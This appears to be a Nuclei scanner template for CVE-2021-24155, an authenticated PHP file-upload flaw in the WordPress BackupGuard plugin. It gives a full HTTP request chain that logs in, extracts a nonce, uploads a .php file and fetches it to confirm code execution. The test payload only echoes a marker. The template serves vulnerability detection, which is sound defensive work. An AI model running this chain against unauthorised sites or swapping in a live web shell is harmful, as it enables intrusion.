83 lines
2.7 KiB
YAML
83 lines
2.7 KiB
YAML
id: CVE-2021-24155
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info:
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name: WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload
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author: theamanrawat
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severity: high
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description: |
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WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.
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remediation: Fixed in version 1.6.0.
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reference:
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- https://wpscan.com/vulnerability/d442acac-4394-45e4-b6bb-adf4a40960fb
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- https://wordpress.org/plugins/backup/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24155
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- http://packetstormsecurity.com/files/163382/WordPress-Backup-Guard-1.5.8-Shell-Upload.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.2
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cve-id: CVE-2021-24155
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cwe-id: CWE-434
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epss-score: 0.94759
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epss-percentile: 0.99003
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cpe: cpe:2.3:a:backup-guard:backup_guard:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 4
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vendor: backup-guard
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product: backup_guard
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framework: wordpress
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tags: authenticated,wp,packetstorm,wp-plugin,cve2021,rce,wordpress,cve,backup,wpscan,intrusive
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json, text/javascript, */*; q=0.01
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Content-Type: multipart/form-data; boundary=---------------------------204200867127808062083805313921
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-----------------------------204200867127808062083805313921
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Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
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Content-Type: application/x-php
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<?php
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echo "CVE-2021-24155";
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?>
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-----------------------------204200867127808062083805313921--
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- |
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GET /wp-content/uploads/backup-guard/{{randstr}}.php HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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req-condition: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- contains(header_4, "text/html")
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- status_code_4 == 200
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- contains(body_3, '{\"success\":1}')
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- contains(body_4, 'CVE-2021-24155')
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condition: and
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extractors:
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- type: regex
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name: nonce
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group: 1
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regex:
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- BG_BACKUP_STRINGS = {"nonce":"([0-9a-zA-Z]+)"};
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internal: true
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